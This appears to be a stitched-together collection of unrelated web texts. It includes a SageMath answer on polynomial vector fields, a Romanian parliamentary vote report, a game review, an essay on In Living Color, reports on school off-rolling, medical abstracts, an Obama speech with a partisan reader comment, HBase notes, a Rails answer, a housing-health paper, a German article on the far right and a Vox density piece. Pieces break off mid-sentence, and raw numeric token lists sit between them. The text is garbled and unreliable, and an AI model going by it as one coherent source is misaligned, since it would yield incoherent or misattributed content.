\langle x^2 + y^2 - 1\rangle$ and $J = \langle \frac{\partial f}{\partial x},\frac{\partial f}{\partial y}\rangle = \langle 2x, 2y \rangle$. In SageMath: sage: R.<x,y> = PolynomialRing(QQ,2) sage: I = R.ideal(x^2+y^2-1) sage: J = R.ideal(2x, 2y) sage: T = (I+J).syzygy_module()[:,len(I.gens()):]; T [ -y x] [ x*y y^2 - 1] [x^2 + y^2 - 1 0] Here the projection to $R^m$ is achieved by slicing the matrix of generators of $K$. The rows of the resulting matrix are generators of $T$. In the example we see that $x\frac{\partial}{\partial y}-y\frac{\partial}{\partial x}$ is a polynomial vector field on the circle and furthermore $IR^m \subset T$. One might be more interested in a (smaller) set of generators for the quotient $T/IR^m$. To this end we can find the module of syzygies for $T + IR^m$ and project to the space of coefficients for generators of $T$; these are syzygies for $T$ modulo $IR^m$. For every such syzygy modulo $IR^m$ where one of the coefficients is an invertible constant, remove the respective generator (because it can be expressed in terms of the others, modulo $IR^m$). Continuing the example in Singular: > ring r=0,(x,y),dp; > module n = [-y, x], [xy, y2-1], [x2+y2-1,0], [x2+y2-1,0], [0,x2+y2-1]; // T + IR^m > LIB "matrix.lib"; ... > print(submat(transpose(syz(n)),1..3,1..3)); 0, 0, -1, x, 1, 0, y2-1,-x,y Here we see that columns two and three contain invertible constants, so the second and third generators can be removed. So in this example $T/IR^m$ is generated by $(-y, x)$. For completeness, the calculation above can be achieved (in general) through the SageMath interface to Singular: sage: import itertools sage: m = len(J.gens()) sage: IRm = matrix([[i if j == b else 0 for j in range(0,m)] for (i,b) in itertools.product(I.gens(),range(0, m))]) sage: r = R._singular_() sage: n = singular(map(list, list(T) + list(IRm)), type='module') # T + IR^m sage: singular('transpose(syz(%s))' % n.name(), type='matrix').sage()[:,0:T.nrows()] [ 0 0 -1] [ x 1 0] [y^2 - 1 -x y] A final useful remark is that the set of $\sum c_i g_i$, where $c$ ranges over the generators of $T$, is a set of generators for $I \cap J$. In SageMath: sage: R.ideal([sum(map(prod,zip(t,J.gens()))) for t in T]) == I.intersection(J) True The proof attempt in the question was an attempt to reverse this process. Disclaimer: Received no compensation for post. Read entry form for full disclosure. Sponsor responsible for prize fulfillment. Any promotion on this site is in no way sponsored, endorsed or administered by, or associated with, Facebook, Twitter, Pinterest, Stumble, Digg or GoogleLiberalii au încercat, luni, 27 octombrie, să introducă pe ordinea de zi a Camerei Deputaților respingerea proiectului de lege privind amnistia și grațierea, însă acest lucru a fost respins prin vot de către plenul camerei. Din 211 deputați prezenți, 122 au votat împotriva introducerii respingerii legii pe ordinea de zi, 81 pentru introducere, 5 abțineri și 3 deputați nu au votat. România Curată a intrat în posesia listelor cu votul din plen, pe care le puteți vedea mai jos. Astfel, puteți vedea cine a amânat respingerea legii amnistierii și grațierii. Anterior, Victor Ponta declarase că legea amnistierii și grațierii nu va trece de votul Parlamentului, din moment ce toată lumea s-a pronunțat împotriva ei. După cum se poate observa și din listele de mai jos, cei care au votat împotriva introducerii respingerii acestui proiect de lege pe ordinea de zi sunt deputații PSD și cei din arcul guvernamental. Răspundeți și voi, la rubrica de comentarii: de ce credeți că PSD și colegii de coaliție au amânat votarea respingerii leg
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9602, 13, 285, 672, 33718, 33549, 562, 273, 253, 17117, 2720, 281, 29183, 7995, 332, 13, 31513, 3697, 360, 12844, 285, 253, 11803, 574, 247, 1027, 313, 1088, 27, 364, 2562, 10, 8113, 323, 253, 1930, 44568, 15, 733, 457, 84, 3164, 1682, 326, 2398, 18640, 1904, 457 ]	down from these moments, however, the cracks can sometimes show themselves. Abstracted systems are a necessary albatross in strategy of this scale, but after the dynamism of the tactical battles, things like automatic trade routes and simple tech trees can feel like poor representations of the political and social machinations they aim to simulate. After a few stretches hitting the ‘end turn’ button after not doing very much of anything, it becomes apparent that Thrones of Britannia’s streamlining may have come at the cost of some of the series’ intrigue. It’s also worth noting that, on standard difficulty with an easy starting faction, I was able to breeze through the campaign to an ultimate victory in a single night of play. For the last quarter of this campaign, I was at a constant food deficit, frequently bankrupt, and pretty much shrugging off both diplomacy and my own populace. Trickier factions have much more precarious early games, of course, but it was a little disappointing to be able to brute force my way through so many hindrances. Thrones of Britannia’s many systems started to feel like optional indulges, rather than tactical necessities. On the plus side, commanding an unstoppable legion of red caped bastards is probably the closest I’ve come to feeling like Tywin Lannister, so there’s that. After the clattering of hooves and the din of hoarse war chants, it can feel odd to return to a tactical overlay that, while occasionally tense, can often feel vacant of meaningful choice. It’s all focused firmly towards evoking the period though, and here, Creative Assembly’s love for history absolutely bleeds through. Or would, I guess, if there was any blood in the game. There’s a greyed out ‘DLC’ tab on the main menu, though. Make of that one what you will. A Total War Saga: Thrones of Britannia is released May 3 on Steam for £29.99/$39.99The Superhero Legacy of In Living Color Over the weekend, Jamie Foxx spilled some pretty spoilery secrets aboutThe Amazing Spider-Man 2 and a potential Sinister Six spin-off movie. Foxx plays the supervillain Electro in the upcoming superhero sequel, and it got me thinking about the comic book movie legacy of In Living Color, one of my favorite shows growing up. The year was 1990. I was a shy, nerdy 10-year-old living in Newport News, Virginia. Like my origin post said, I was practically raised by television because my mother was constantly working. When I wasn’t watching horror shows like Tales from the Crypt, you could find me watching anything that would make me laugh. My favorites were sitcoms like The Fresh Prince of Bel Air and Family Matters. Since there were no Asians to look for on television, I turned to these shows to find any kind of cultural connection — and to laugh uncontrollably. And no other show made me laugh harder than In Living Color. “I’m ecstatic!” From the moment Keenan Ivory Wayans impersonated Mike Tyson on a “Love Connection” parody, I was hooked. For the next four years, I couldn’t wait to watch it every Sunday night. I appreciated everything about the show, but what was most important to me was that I could connect to it on a personal level. I loved that the show featured a talented cast of actors of color. Years earlier, The Cosby Show had changed the way that black families were viewed on television, and In Living Color was doing the same thing for sketch comedies as well. While Eddie Murphy might have been on Saturday Night Live during the early ‘80s, SNL was (and still is) mostly white. Keenan and his brother Damon took their show to a whole new level, proving that a cast of black comics could put together a ridiculously successful and funny sketch show. Speaking of comics, I also loved the show because it often intersected with my love of comic book superheroes and other nerdy genres. (I know it isn’t Star Trek Weekanymore, but this “Wrath of Farrakhan” sketch is pretty hilarious). My favorite superheroes at the time were X-Men‘s Beast and Storm, mainly because Beast was an intellectual and Storm was a badass female mutant of color. I always rooted for the underdogs and outsiders — like the X-Men — because I thought of myself as one too. Being half white and half Korean, I never felt fully accepted by either side, so I constantly lived my life in fear of rejection. I just wanted to be accepted, and not be judged for my appearance, or by the Cross Colours jeans that I wore. See, during the early ‘90s I was an awkward middle schooler who wore coke-rimmed glasses and thought a “cool” fashion statement was to rock a Chicago Bulls embossed turtleneck. Obviously, I was wrong. All that being said, when Damon Wayans first appeared as Handi-Man, the disabled superhero whose motto is “Never underestimate the powers of the handicapped,” I was ecstatic (just like I was with the Mike Tyson sketch). Some people were offended by the offhanded humor of the sketch — as a lot of people were with all of the sketches on the show — but I saw the character as a symbol of empowerment. People with disabilities are often pictured as helpless, and they’re never seen as heroes. But here you had a person who was black and disabled fighting crime and kicking ass, and he’s making you laugh at the same time! I loved Handi-Man, and apparently so did Gary Norris Gray, who wrote about the character’s importance in Gibbs Magazine. I remained a dedicated fan until the show’s last episode in 1994. It was devastating to no longer see characters like Wanda, Vera de Milo, Anton Jackson and The Brothers Brothers every Sunday night. I was going to miss them because they all played a big part in shaping my crazy sense of humor during adolescence. But luckily for me, just as the show was coming to an end, some of my favorite cast members would be debuting themselves as superheroes on the big screen. “You’ve got to be with a woman first! You’ve got to knock some boots, man! You’re a virgin.” That same year Damon Wayans and David Alan Grier teamed up for the superhero parody Blankman. Instead of Wayans playing a disabled superhero, this time he was an extremely nerdy one. (So of course I loved him!) Wayans’ portrayal of Darryl/Blankman was innocent and heartwarming, and Grier as Darryl’s skeptical older brother/sidekick, was hilarious. Plus, Robin Givens (who the show had parodied in that first sketch I mentioned — seriously, I loved that Tyson sketch) played the love interest. Blankman is still one of the only examples of a superhero film where people of color are the main characters and not just supporting players. “Let me riddle ya somethin!” Also in 1994, arguably the show’s biggest star, Jim Carrey, appeared in The Mask, which was based on the Dark Horse Comics series. He played the hapless-loser-turned-cartoonish-stud Stanley Ipkiss with great charm, which is why it was so easy for Carrey to charm his way into the role of The Riddler in Joel Schumacher’s Batman Forever the following year. Although I wasn’t a fan of the film, I think Carrey played the supervillain in an over-the-top (and annoying) way that was perfect for the director’s take on the character. Most recently, Jim Carrey accomplished the rare comic book trifecta by starring in Kick-Ass 2, which is based on the Mark Millar and John Romita Jr. comics of the same name. Although I haven’t seen the film, I know he plays an ex-mafia vigilante named Colonel Stars and Stripes. (Carrey would go on to denounce his violent role in the film after the Sandy Hook shootings, and he has refused to promote the film as a result). There was quite a bit of a comic book movie lull from the In Living Color guys after Carrey’s turn as Edward Nygma in 1995. It wasn’t until 2009 that one of the younger Wayans — Marlon — appeared in G.I. Joe: The Rise of Cobra. Playing Ripcord, a colonel whose specialty is airborne infantry and demolitions — and who was traditionally a white character in the Joe comics and cartoon, Wayans brought a sense of humor to the role that offset the wooden performance of Channing Tatum as the “all-American” Duke. Instead, Wayans’ Ripcord proved that you could bring the funny and still be the realest of American heroes. However, his best efforts didn’t get him invited back for the sequel. Oh well. The most interesting thing, though, is that G.I. Joe actually wasn’t Marlon’s first stab at a comic book movie role. Back in 1991, when Tim Burton was set to direct Batman Returns, he had originally picked Marlon to play Robin. Unfortunately, the role was cut from the film before shooting, and when Burton opted out of the franchise prior to Batman Forever, Joel Schumacher and the studio had a different (read: whiter) vision for the sidekick. It’s probably best that Marlon didn’
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871, 2139, 436, 8213, 15, 733, 457, 84, 417, 816, 326, 247, 1175, 4730, 310, 5667, 281, 9073, 253, 2151, 273, 3063, 15639, 625, 8069, 347, 253, 5820, 273, 10873, 15, 733, 457, 84, 326, 253, 9023, 273, 247, 1175, 4730, 2789, 352, 1896, 323 ]	and director of social mobility and vulnerable learners at the EPI, said: “This research provides important evidence on unexplained pupil exits in the school system, following reports of children being removed by schools for reasons that are not in the pupil’s best interests. ”For the first time, we begin to see the full scale of this problem, having stripped away cases where family decisions have led to school moves. “Our estimate is that one in 12 children are being pushed around the system, and that this has risen in recent years. ”We will undertake further research on these trends this year, highlighting prevalence among local areas and groups of schools.“ The EPI says the schools with very high exit rates have removed the equivalent of an entire classroom of children from a single year group, as they have moved through secondary school, from 2012 to 2017. According to the research, pupils with certain characteristics are disproportionately represented among those leaving school rolls. One in three pupils in the social care system, one in seven disadvantaged pupils, and one in eight black pupils experience unexplained school moves, the report says. The report also found the proportion of pupils who left school rolls with no explanation was the highest in the most recent cohort in our study – those expected to have finished year 11 in 2017. For the 2014 cohort, 7.2 percent moved between schools or left the school system completely, and this was not explained by family reasons for moving. In the 2011 year group, over the course of five years, 7.8 percent of pupils had moves that were unexplained by family reasons. Education campaigners have long expressed concern at the notion of off-rolling – where problematic, badly behaved or academically poor pupils are unofficially removed from the school. ‘The size of unexplained pupil moves is disturbing’ This can include a ”managed move“, when a school looks for an alternative to expelling a pupil, such as asking another institution to admit the youngster to give them a new start. Other examples, identified by local authorities, include suggesting the pupil is educated at home for an unspecified period, prompting concerns children could fall through the gaps and out of the education system. Unlike formal exclusions, there is no requirement to record the reason why a pupil has been removed from a school roll. David Laws, executive chairman of the EPI, said: ”The size of unexplained pupil moves is disturbing and will raise concerns about whether some schools are ‘off-rolling’ pupils. “We need to look particularly closely at the six percent of schools which account for almost a quarter of unexplained moves. ”In a few months’ time we will publish figures showing the scale of this issue by school group, to allow for greater scrutiny over what is happening in our schools.“Surgical treatment of hepatic metastases: impact of intraoperative sonography. A prospective study was done to determine the influence of intraoperative sonographic findings on surgical decision making in patients with hepatic metastases. Thirty-seven consecutive patients with hepatic metastases who underwent surgery (for hepatic resection or intraarterial catheter placement) were prospectively evaluated. For each patient, the resectability of the metastases and the surgical approach were determined preoperatively on the basis of the combined results of sonography, bolus dynamic CT, and CT during arterial portography (CTAP). Those determinations were compared with the decisions made during surgery, which were based on the intraoperative sonographic findings. The surgical procedure that was actually performed was compared with the procedure decided on preoperatively. Eighty-two metastases were surgically and pathologically proved. Preoperatively, 73 (89%) of the 82 metastases were detected with a combination of sonography, bolus dynamic CT, and CTAP. Seventy-nine metastases (96%) were detected with intraoperative sonography. Six metastases in four patients were detected only with intraoperative sonography. Furthermore, in two patients, intraoperative sonography showed four additional metastases, which changed the initial surgical approach decided on preoperatively. Our study suggests that intraoperative sonography provides important data that cannot be obtained with preoperative imaging techniques and affect the surgical decision making in patients with hepatic metastases.Watch Jessica Yellin's report on Sen. Obama's attendance record in the U.S. Senate. WASHINGTON (CNN) - Since the U.S. Senate returned from its August receess, Sen. Barack Obama has missed more votes than another other Democrat running for the White House - nearly 80 percent since September. Congressional Correspondent Jessica Yellin has this report from Capitol Hill. Here is a speech Obama delivered yesterday on Civil Right in South Carolina. Read it with an open mind and see how this man is instrumental to bridge racial and political division in this country and why we can't afford not to elect him instead of an ambitious, whining, corrupt woman who is looking to live up to her own ambition as opposed to a strong agenda for all of us. I don't see CNN is making any news on a great story like this one. Wake up CNN!! http://my.barackobama.com/page/community/post_group/ObamaHQ/Cnx5 It’s a special honor to be here in Clarendon County. Because Clarendon County is the place that showed me and showed America that when ordinary people come together, they can do extraordinary things. That’s the Clarendon County I know. I know how sixty years ago, the NAACP’s James Hinton dared to ask why white children could ride buses to school but black children had to walk. I know how Reverend J.A. DeLaine, a preacher and teacher in Summerton, heard that call and joined with Levi Pearson, a father who was sick and tired of seeing his children walk nine miles to school, and with Harry and Eliza Briggs and more than a dozen other Black parents to challenge unequal education. I know that because of that challenge, Harry Briggs lost his job at the local service station, Eliza Briggs lost hers at a local hotel, and Reverend DeLaine’s home was burned to the ground while the fire department stood by and watched. It would have been easy for them to stay home. To heed the voices of caution and convenience that said, “wait,” “the timing isn’t right,” or “the country just isn’t ready.” It would have been easy for them to give in to the fears that no doubt kept them awake some nights. But I know that because they were willing to overcome their fears and reach for a larger dream, the Supreme Court overturned “separate but equal,” and Congress passed the Civil Rights Act and the Voting Rights Act. And I know that I stand on their shoulders, that their courage and sacrifice six decades ago makes it possible for me to run today for President of the United States. So I know Clarendon County. The Clarendon County that showed a nation how to look up rather than down. The Clarendon County that made a claim on the American Dream. The Clarendon County that changed the course of history. But I also know another Clarendon County. I know schools in the Corridor of Shame. I know J.V. Martin Junior High School in Dillon was built more than a century ago, and for years had shattered windows, leaking ceilings, and broken bathrooms. I know South Carolina has the worst high school dropout rate in America. I know that all across this nation, one out of every four children go to schools just like J. V. Martin, and take away the same message that we don’t care enough about their education to do better by them. I know that America today is still blind to the poverty in our midst, and that we still tolerate Jena justice for some and Scooter Libby justice for others. I know that Black parents in Clarendon are still having to go to court to give their children an equal education – fifty years after Brown v. Board of Education. There is another side of Clarendon County, another side of America, still waiting for what Harry and Eliza Briggs hoped for. The hope that our children’s destinies aren’t written before they are born. The hope that one day the world as it is and the world as it should be might be one and the same. That is why I stand before you today as a candidate for President of the United States of America. I am running because I refuse to accept that the way it is, is the way it has to be. I refuse to accept it when I hear adults say things like “these kids can’t learn” or “these kids come from tough backgrounds” or “these kids are too far behind.” We need to start treating “these kids” like “our kids.” I am running because I want a sense of urgency about our kids in Washington. When I’m in the White House, we’ll reform No Child Left Behind so we don’t leave the money behind. We’ll recruit an army of new teachers – and make sure they come teach here in Manning – because the most important factor in a child’s education is the person standing at the head of the classroom. We’ll invest in early childhood education because for every dollar we put there, we get seven dollars back in reduced dropout rates, reduced delinquency, and reduced prison rates, and more young people can go to college and get good jobs. And we’ll rebuild our broken schools. We know why this matters. It’s not just that a good education is essential to helping the children of today compete more effectively as the workers of tomorrow. It’s that the promise of a good education makes it possible for
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285, 15663, 3374, 12600, 281, 8039, 11659, 285, 8039, 45984, 1254, 35, 1508, 14, 11763, 14, 1036, 14, 17758, 1423, 2947, 35, 1348, 14, 11763, 14, 1036, 14, 17758, 1423, 2947, 35, 1099, 14, 11763, 14, 1036, 14, 17758 ]	not immune from severe illness and death from COVID-19." The local public health department and UT Health UT Health Austin and University Health Services have contacted all of the passengers on the plane using flight manifests from the Centers for Disease Control and Prevention. The University of Texas at Austin is working to help public health officials. Related content Is spring break canceled? Student getaways scuttled by coronavirus "The university is working closely with Austin Public Health to assist in contact tracing," university spokesman J.B. Bird said. "The incident is a reminder of the vital importance of taking seriously the warnings of public health authorities on the risks of becoming infected with COVID-19 and spreading it to others." The students who tested positive are in self-isolation, health officials said. The Department of State Health Services has been alerted. University president Gregory L. Fenves urged students to practice good judgment and think about how their actions can affect others. "(It) is our responsibility to follow local, state and national public health orders, and use good judgment during this crisis," Fenves said in a statement Wednesday. "Our conduct and the decisions we make have direct ramifications on our own health and the health of everyone in our city and beyond. We must do everything we can to limit the spread of this virus -- the consequences of reckless actions at this time could not be clearer." Mayor Steve Adler issued a stay-at-home order for Austin on March 24. Mexico was not under a federal travel advisory when this happened, health officials said.The primary limitation of composite keys is that you can only query efficiently by known components of the composite key in the order they are serialized. Because of this limitation I find it easiest to think of your key like a funnel. Start with the piece of data you always need to partition on, and narrow it down to the more specific data that you don’t often need to distinguish.[…] As a caveat to this process, keep in mind that HBase partitions its data across region servers based on the same lexicographic ordering that gets us the behavior we’re exploiting. If your reads/writes are heavily concentrated into a few values for the first (or first few) components of your key, you will end up with poorly distributed load across region servers. HBase functions best when the distribution of reads/writes is uniform across all potential row key values. While a perfectly uniform distribution might be impossible, this should still be a consideration when constructing a composite key.Laparoscopic treatment of uterine fibroids: a comparison of peri-operative outcomes in laparoscopic hysterectomy and myomectomy. To compare peri-operative outcomes between laparoscopic myomectomy (LM) and laparoscopic hysterectomy (LH) for the treatment of uterine fibroids. Retrospective cohort study including 400 women who underwent LH or LM for the management of uterine fibroids. LH patients were older, with higher BMI and larger uterine size but LH was associated with shorter operative duration (80.2 vs. 115.7 min, p < 0.0001), lower blood loss (215 vs. 316 ml, p < 0.0001), and shorter hospital stay (1.81 vs. 2.12 days, p = 0.0003). Seven LM patients (3.2%) had blood loss >1000 ml compared with no LH patients and five LM patients (2.3%) required blood transfusion compared to 1 (0.5%) LH patient. Three LM patients (1.9%) and no LH patients required conversion to laparotomy. Bladder injury occurred in three LH cases (1.6%) and no LM cases. When the data was restricted only to women aged 44 years or over, LH was again associated with significantly lower operative duration and estimated blood loss. Particularly in perimenopausal women, the decision to perform myomectomy can be controversial. These data suggest that there are potential advantages to LH over LM, including reduced operation length, blood loss and hospital stay but increased risk of urinary tract injury.Q: Create a bulletin board on Ruby on Rails It is necessary to write a bulletin board with the division of ads by category (the ad can be in different categories at the same time). Ads must have several statuses (moderation / approved / rejected), only the administrator can change the status. Tell me what fields in the model do I need to create for the ad table and categories? And how do I tie them together? Thankful in advance for the help. A: # app/models/advert.rb class Advert < ApplicationRecord has_and_belongs_to_many :categories enum status: [:moderation, :approved, :rejected] end # app/models/category.rb class Category < ApplicationRecord has_and_belongs_to_many :adverts end You need to have a JOINS table, to link the two tables. By rails convention, this will be called adverts_categories (but it's easy to override if preferred). The database migrations to create these tables could, for example, be: class CreateAdverts < ActiveRecord::Migration[5.0] def change create_table :adverts do \|t\| t.integer :status #... end end end class CreateCategories < ActiveRecord::Migration[5.0] def change create_table :categories do \|t\| # (What fields does this table have?) t.string :name #... end end end class CreateAdvertsCategories < ActiveRecord::Migration[5.0] def change create_join_table :adverts, :categories do \|t\| t.index :advert_id t.index :category_id end end end 1. Introduction {#sec1-ijerph-16-02822} =============== It is widely acknowledged that housing is a social determinant of health and wellbeing \[[@B1-ijerph-16-02822],[@B2-ijerph-16-02822],[@B3-ijerph-16-02822],[@B4-ijerph-16-02822],[@B5-ijerph-16-02822],[@B6-ijerph-16-02822],[@B7-ijerph-16-02822]\]. Causal associations between suitable housing environments and positive physical and mental health, and inappropriate housing environments and poor physical and mental health, has transcended a focus on basic housing and sanitary conditions to more complex direct and indirect influencers; including housing policy, housing location, neighborhood characteristics (i.e., physical accessibility; socioeconomic conditions), affordability, tenancy (i.e., who people live with), tenure security, and access to social and employment networks, educational opportunities, transportation systems, services (i.e., shopping; banking; health care facilities) and public resources (i.e., parks; museums; libraries) \[[@B1-ijerph-16-02822],[@B2-ijerph-16-02822],[@B3-ijerph-16-02822],[@B4-ijerph-16-02822],[@B5-ijerph-16-02822],[@B6-ijerph-16-02822],[@B7-ijerph-16-02822]\]. Further, causal associations between housing and health/wellbeing have been linked to multiple population groups; for example, children \[[@B8-ijerph-16-02822],[@B9-ijerph-16-02822]\], adults \[[@B10-ijerph-16-02822],[@B11-ijerph-16-02822]\], people from developed and developing nations \[[@B12-ijerph-16-02822]\], different geographical areas (i.e., urban, regional, remote locations) \[[@B11-ijerph-16-02822],[@B13-ijerph-16-02822]\], a range of cultures \[[@B14-ijerph-16-02822],[@B15-ijerph-16-02822]\], able-bodied populations \[[@B8-ijerph-16-02822],[@B10-ijerph-16-02822]\], and people with diverse health conditions and impairments \[[@B16-ijerph-16-02822],[@B17-ijerph-16-02822]\]. Despite this well-established, multifaceted link between housing and health/wellbeing, individuals with an acquired brain injury (ABI) or spinal cord injury (SCI) incur significant housing challenges \[[@B18-ijerph-16-02822],[@B19-ijerph-16-02822],[@B20-ijerph-16-02822]\]. As a result of the physical, cognitive, sensory, perceptual, communicative, and/or behavioral consequences directly related to their neurological injury \[[@B21-ijerph-16-02822],[@B22-ijerph-16-02822]\], individuals with ABI and/or SCI often require specialist support to live as independently as possible at home and participate in their communities. These supports may include physically accessible environments, access to specialized equipment, assistance with activities of daily living and personal care, and/or support to access and participate in community activities \[[@B3-ijerph-16-02822]\]. Unfortunately, many people with ABI and SCI are forced to reside in unsuitable residential environments (e.g., an impractical dwelling; an impractical neighborhood; group home with strict routines; residential aged care), or housing that is not their preferred option (e.g., family home with aging parents), due to broader and persistent issues relating to housing availability and housing suitability \[[@B23-ijerph-16-02822],[@B24-ijerph-16-02822],[@B25-ijerph-16-028
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Das liegt nicht nur an fehlenden Kitas, Straßen, Arbeitsplätzen David Begrich, langjähriger Beobachter der rechtsextremen Szene in Sachsen-Anhalt, beschrieb das kürzlich in der Wochenzeitung Freitag so: „Männer, die aus ihrer zum Teil sehr schweren körperlichen Arbeit soziale Anerkennung und Statussicherheit schöpften, verloren mit ihrer Arbeit nicht nur den Lohnerwerb, sondern vielmehr ein ganzes Geflecht sozialer Beziehungen und die aus diesem resultierende Anerkennung.“ Diese Verlusterfahrungen werden ebenso an die Söhne weitergegeben wie die Mechanismen ihrer Kompensation: die Rückbesinnung auf traditionelle männliche Werte und Privilegien und das Faustrecht, diese zu verteidigen. Wie sagte Björn Höcke auf dem AfD-Parteitag in Hannover 2015? Er sagte: „Wir müssen unsere Männlichkeit wiederentdecken. Denn nur wenn wir unsere Männlichkeit wiederentdecken, werden wir mannhaft. Und nur wenn wir mannhaft werden, werden wir wehrhaft.“ Die AfD versteht die emotionale Verfasstheit der Männer im Osten sehr gut. Und sie nutzt sie aus. Sie eignet sich das Ostdeutsche so gut an, dass sich viele von dieser Partei sogar das wegnehmen lassen, auf das sie am meisten stolz sein können: die Revolution von 1989. „Vollende die Wende“ – mit solchen Slogans machte die Partei erfolgreich Wahlkampf. Sie dreht das westdeutsche Narrativ des von der großen weiten Welt unberührten Ostdeutschen um und macht daraus die Behauptung einer ostdeutschen arischen Avantgarde, deren Revolution auch Westdeutschland erfassen soll. Doch Nazi oder nicht – das ist eine Entscheidung, keine ostdeutsche Mutation. Und es gibt diejenigen, die sich anders entscheiden. Diejenigen, die kämpfen. Katja Barthold, eine Gewerkschafterin aus Ostthüringen, kann zum Beispiel darüber sprechen, wie sie in Metallgießereien die Solidarität zwischen Leiharbeitern aus Syrien und Männern aus Thüringen erproben. Oder Danilo Starosta, der für das Kulturbüro Sachsen arbeitet, eine dieser Organisationen in Ostdeutschland, die Gemeinden und andere im Umgang mit Rechtsextremismus beraten. taz am wochenende Dieser Text stammt aus der taz am wochenende. Immer ab Samstag am Kiosk, im eKiosk oder gleich im praktischen Wochenendabo. Und bei Facebook und Twitter. Das Dossier zu "30 Jahren friedliche Revolution" aus der Ausgabe vom 2./3. November gibt es online hier. Er wäre 2009 von mehreren Männern fast ermordet worden. Er ist vorsichtiger, den Mund hält er dennoch nicht. Neben den vielen Aktivistinnen streiten auch Lokalpolitikerinnen für eine offene Gesellschaft: René Wilke, Oberbürgermeister von Frankfurt (Oder), Martina Angermann im sächsischen Arnsdorf, Thomas Zenker, Oberbürgermeister von Zittau, und Götz Ulrich, Landrat im Burgenlandkreis. Leider gelten vielerorts diejenigen als Störenfriede, die sich mit den Nazis anlegen – nicht andersherum. Martina Angermann ist nach vier Jahren Bedrohungen und Beschimpfungen von Rechtsextremen zusammengebrochen und seither krankgeschrieben. Viele Engagierte sind krank, gelten als ein bisschen verrückt, ein bisschen zu aggressiv, ein wenig zu laut. Das kann passieren, wenn jemand jeden zweiten Tag die Post aus dem Briefkasten klaut, die Luft aus dem Fahrrad lässt, dem Auto folgt. Sucht euch Verbündete Es trifft nichtweiße Menschen zuerst, es trifft Transsexuelle, Schwule und Lesben, es trifft Frauen in Umweltinitiativen und Männer in Demokratieprojekten. Ist uns klar, dass manche Menschen ihr Leben aufs Spiel setzen, wenn sie für eine Gesellschaft kämpfen, in der Ostdeutsche eine Wahl haben, welches Leben sie führen wollen, ohne dafür wegziehen zu müssen? Widersprechen, ja, da kann man Angst vor haben. Davor, selbst ausgegrenzt zu werden bei der nächsten Familienfeier, beim Fußballverein, im Dorf. Es kann gefährlich sein. Was hilft, ist, sich andere zu suchen, Verbündete. Menschen, die vielleicht genauso still sind wie man selbst. Nicht alle Schweigenden stimmen zu. So ein Text von einem, der nach Berlin rübergemacht hat, ganz schon komfortabel, ich weiß. Mir wollte schon lange keiner mehr mit den Füßen auf dem Kopf rumspringen. Es ist nur so, damals, in den 90er Jahren, haben mir die Leute gefehlt, die offen widersprochen haben. Das gab mir das Gefühl, allein zu sein. Gemeinsam widerspricht es sich leichter.UPDATE: The post below says that Leonardo DiCaprio is a supporter of an LA ballot measure called the Neighborhood Integrity Initiative. It turns out he is not. After this post (and Alissa Walker's original post) was published, a DiCaprio rep contacted me to clarify. A while back, DiCaprio signed a petition about preserving a particular building with significance to Hollywood; since then, the Coalition to Preserve LA has been claiming him as a supporter of its broader initiative. (The group claims it's a big misunderstanding.) In fact, DiCaprio and his foundation have taken no position on the initiative. The original post, which makes many non-DiCaprio-related points, is below. Over at Curbed Los Angeles, Vox's sister site, Alissa Walker has gone and written a post that I’ve been meaning to write for years. Narrowly speaking, her argument is directed at Leonardo DiCaprio, an outspoken climate champion, about an anti-density ballot measure in Los Angeles he supports: The DiCaprio-supported Neighborhood Integrity Initiative, which will be on LA city’s ballot in March, is calling for a two-year building moratorium to suppress "luxury megaprojects" citywide—specifically targeting high-rise towers and development located near transit. This initiative is part of a clutch of NIMBY ("not in my backyard") efforts underway in the LA area, as wealthy, mostly white people who had the good fortune to buy houses when LA was smaller, sleepier, and more affordable — or who can afford its current stratospheric prices — try to freeze their communities in place. This one is even more insane: Santa Monica’s anti-density measure, LV, is the most troubling, as it would require a citywide vote to approve any new structure over 32 feet. This would make it politically (and economically) difficult to erect buildings more than two stories tall in a prohibitively expensive city that already has limited room to grow, pushing workers farther and farther away from their jobs. Such NIMBY battles are being waged in almost every big city, but they are especially acute along the West Coast. The people fighting hardest against development are generally upscale, older, educated, white professionals, the very people most likely to call themselves liberals and climate hawks. They buy solar panels, drive Teslas, and carry their f’ing tote bags everywhere, but they are standing in the way of carbon reductions. At least at the level of broad public consciousness, the dissonance still hasn’t sunk in. Walker’s broader point is simple: You can’t really be a champion for the climate (DiCaprio recently made a documentary about climate change called Before the Flood) and also oppose urban density. Dense development, she writes, is, "quite literally, the single best thing that a city can do for the planet." This point really cannot be emphasized enough. Whether you look narrowly at greenhouse gases or more broadly at all pollution — climate, air, and water — clustering people together is a more effective
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4816, 19, 61, 2260, 61, 3549, 5, 470, 15, 1010, 26748, 10, 875, 253, 35874, 10604, 342, 5508, 669, 24175, 5, 285, 669, 22457, 5, 38730, 15, 380, 15218, 621, 403, 4436, 33866, 2011, 275, 2667, 15, 337, 275, 253, 7714, 323, 370, 44, 5, 285, 370, 44, 9805, 42919, 15, 844, 403, 3782, 6110, 275, 253, 4112, 672, 253, 22499, 2553, 23965, 84, 767, 4585, 35874, 10604, 15, 7160, 9216, 5149, 20619, 403, 3542, 347, 1764, 2043, 92, 2132, 94, 187, 93, 12, 393, 24175, 50276, 87, 61, 3799, 50276, 30, 187, 393, 1274, 60, 187, 50259, 61, 2043, 92, 3728, 1217, 68, 94, 187, 50257, 18, 3202, 187, 50257, 17, 3202, 187, 50259, 61, 423, 92, 3728, 94, 187, 50261, 61, 918, 62, 393, 5786, 393, 1274, 60, 187, 50259, 61, 2043, 92, 3728, 1217, 68, 94, 187, 50257, 67, 3202, 187, 50257, 14, 66, 299, 768, 74, 61, 4535, 94, 3202, 187, 50259, 61, 423, 92, 3728, 94, 187, 50261, 61, 918, 62, 19049, 187, 9973, 50276, 61, 22457, 50276, 87, 61, 3799, 50276, 30, 187, 61, 1274, 60, 187, 50259, 61, 2043, 92, 3728, 1217, 68, 94, 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The Pauli matrices $ \sigma_{x,y,z}$ act on the psudospin from its $A\equiv d_{z^2}$ and $B\equiv (d_{x^2-y^2}\pm i d_{xy})/\sqrt{2}$ orbitals while $s_{z}=\uparrow, \downarrow$ is the $z$-component of real spin. $(k_x,k_y)$ is the wave vector measured from $K$ ($K'$) points. $\lambda$ depicts the spin-orbit splitting of valence bands. $\Delta$ is the gap without spin-orbit splitting. $\hbar$ is Planck’s constant over $2\pi$. $v$ is the effective Fermi velocity. The Hamiltonian describes four massive Dirac cones, two in $K$ and two in $K'$ valleys. Each cone contains a pair of conduction and valence bands, with their dispersions given by $$\begin{aligned} E^{+,\uparrow}_{c/v} 